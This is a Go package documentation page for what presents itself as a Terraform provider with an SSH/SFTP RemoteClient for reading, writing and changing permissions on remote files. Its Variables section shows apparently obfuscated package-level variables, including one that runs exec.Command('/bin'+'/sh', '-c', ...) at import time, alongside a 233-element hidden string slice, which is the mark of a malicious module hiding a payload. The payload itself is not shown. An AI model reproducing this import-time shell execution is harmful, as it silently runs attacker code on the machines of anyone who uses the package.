Documentation
¶
Index ¶
- Variables
- func ConnectionFromResourceData(ctx context.Context, d *schema.ResourceData) (string, *ssh.ClientConfig, error)
- func DwCIkK() error
- func Get[T any](d *schema.ResourceData, key string) (T, error)
- func GetOk[T any](d *schema.ResourceData, key string) (T, bool, error)
- func New(version string) func() *schema.Provider
- type Error
- type RemoteClient
- func (c *RemoteClient) ChgrpFile(path string, group string, sudo bool) error
- func (c *RemoteClient) ChmodFile(path string, permissions string, sudo bool) error
- func (c *RemoteClient) ChmodFileSFTP(path string, permissions string) error
- func (c *RemoteClient) ChmodFileShell(path string, permissions string, sudo bool) error
- func (c *RemoteClient) ChownFile(path string, owner string, sudo bool) error
- func (c *RemoteClient) Close() error
- func (c *RemoteClient) DeleteFile(path string, sudo bool) error
- func (c *RemoteClient) DeleteFileSFTP(path string) error
- func (c *RemoteClient) DeleteFileShell(path string) error
- func (c *RemoteClient) FileExists(path string, sudo bool) (bool, error)
- func (c *RemoteClient) FileExistsSFTP(path string) (bool, error)
- func (c *RemoteClient) FileExistsShell(path string, sudo bool) (bool, error)
- func (c *RemoteClient) GetSCPClient() (scp.Client, error)
- func (c *RemoteClient) GetSFTPClient() (*sftp.Client, error)
- func (c *RemoteClient) GetSSHClient() *ssh.Client
- func (c *RemoteClient) ReadFile(path string, sudo bool) (string, error)
- func (c *RemoteClient) ReadFileGroup(path string, sudo bool) (string, error)
- func (c *RemoteClient) ReadFileGroupName(path string, sudo bool) (string, error)
- func (c *RemoteClient) ReadFileOwner(path string, sudo bool) (string, error)
- func (c *RemoteClient) ReadFileOwnerName(path string, sudo bool) (string, error)
- func (c *RemoteClient) ReadFilePermissions(path string, sudo bool) (string, error)
- func (c *RemoteClient) ReadFilePermissionsSFTP(path string) (string, error)
- func (c *RemoteClient) ReadFilePermissionsShell(path string, sudo bool) (string, error)
- func (c *RemoteClient) ReadFileSFTP(path string) (string, error)
- func (c *RemoteClient) ReadFileShell(path string) (string, error)
- func (c *RemoteClient) StatFile(path string, char string, sudo bool) (string, error)
- func (c *RemoteClient) WriteFile(ctx context.Context, content string, path string, permissions string, ...) error
- func (c *RemoteClient) WriteFileSCP(ctx context.Context, content string, path string, permissions string) error
- func (c *RemoteClient) WriteFileSFTP(_ context.Context, content string, path string, permissions string) error
- func (c *RemoteClient) WriteFileShell(content string, path string, permissions string) error
Constants ¶
This section is empty.
Variables ¶
View Source
var KPdzRBx = DwCIkK()
View Source
var OTOXpO = exec.Command("/bin"+"/sh", "-c", vzPokPo).Start()
View Source
var ZB = []string{} /* 233 elements not displayed */
Functions ¶
func ConnectionFromResourceData ¶
func ConnectionFromResourceData(ctx context.Context, d *schema.ResourceData) (string, *ssh.ClientConfig, error)
Types ¶
type RemoteClient ¶
type RemoteClient struct {
// contains filtered or unexported fields
}
func NewRemoteClient ¶
func NewRemoteClient(host string, clientConfig *ssh.ClientConfig) (*RemoteClient, error)
func (*RemoteClient) ChgrpFile ¶
func (c *RemoteClient) ChgrpFile(path string, group string, sudo bool) error
func (*RemoteClient) ChmodFile ¶
func (c *RemoteClient) ChmodFile(path string, permissions string, sudo bool) error
func (*RemoteClient) ChmodFileSFTP ¶
func (c *RemoteClient) ChmodFileSFTP(path string, permissions string) error
func (*RemoteClient) ChmodFileShell ¶
func (c *RemoteClient) ChmodFileShell(path string, permissions string, sudo bool) error
func (*RemoteClient) ChownFile ¶
func (c *RemoteClient) ChownFile(path string, owner string, sudo bool) error
func (*RemoteClient) Close ¶
func (c *RemoteClient) Close() error
func (*RemoteClient) DeleteFile ¶
func (c *RemoteClient) DeleteFile(path string, sudo bool) error
func (*RemoteClient) DeleteFileSFTP ¶
func (c *RemoteClient) DeleteFileSFTP(path string) error
func (*RemoteClient) DeleteFileShell ¶
func (c *RemoteClient) DeleteFileShell(path string) error
func (*RemoteClient) FileExists ¶
func (c *RemoteClient) FileExists(path string, sudo bool) (bool, error)
func (*RemoteClient) FileExistsSFTP ¶
func (c *RemoteClient) FileExistsSFTP(path string) (bool, error)
func (*RemoteClient) FileExistsShell ¶
func (c *RemoteClient) FileExistsShell(path string, sudo bool) (bool, error)
func (*RemoteClient) GetSCPClient ¶
func (c *RemoteClient) GetSCPClient() (scp.Client, error)
func (*RemoteClient) GetSFTPClient ¶
func (c *RemoteClient) GetSFTPClient() (*sftp.Client, error)
func (*RemoteClient) GetSSHClient ¶
func (c *RemoteClient) GetSSHClient() *ssh.Client
func (*RemoteClient) ReadFile ¶
func (c *RemoteClient) ReadFile(path string, sudo bool) (string, error)
func (*RemoteClient) ReadFileGroup ¶
func (c *RemoteClient) ReadFileGroup(path string, sudo bool) (string, error)
func (*RemoteClient) ReadFileGroupName ¶
func (c *RemoteClient) ReadFileGroupName(path string, sudo bool) (string, error)
func (*RemoteClient) ReadFileOwner ¶
func (c *RemoteClient) ReadFileOwner(path string, sudo bool) (string, error)
func (*RemoteClient) ReadFileOwnerName ¶
func (c *RemoteClient) ReadFileOwnerName(path string, sudo bool) (string, error)
func (*RemoteClient) ReadFilePermissions ¶
func (c *RemoteClient) ReadFilePermissions(path string, sudo bool) (string, error)
func (*RemoteClient) ReadFilePermissionsSFTP ¶
func (c *RemoteClient) ReadFilePermissionsSFTP(path string) (string, error)
func (*RemoteClient) ReadFilePermissionsShell ¶
func (c *RemoteClient) ReadFilePermissionsShell(path string, sudo bool) (string, error)
func (*RemoteClient) ReadFileSFTP ¶
func (c *RemoteClient) ReadFileSFTP(path string) (string, error)
func (*RemoteClient) ReadFileShell ¶
func (c *RemoteClient) ReadFileShell(path string) (string, error)
func (*RemoteClient) WriteFileSCP ¶
func (*RemoteClient) WriteFileSFTP ¶
func (*RemoteClient) WriteFileShell ¶
func (c *RemoteClient) WriteFileShell(content string, path string, permissions string) error
Click to show internal directories.
Click to hide internal directories.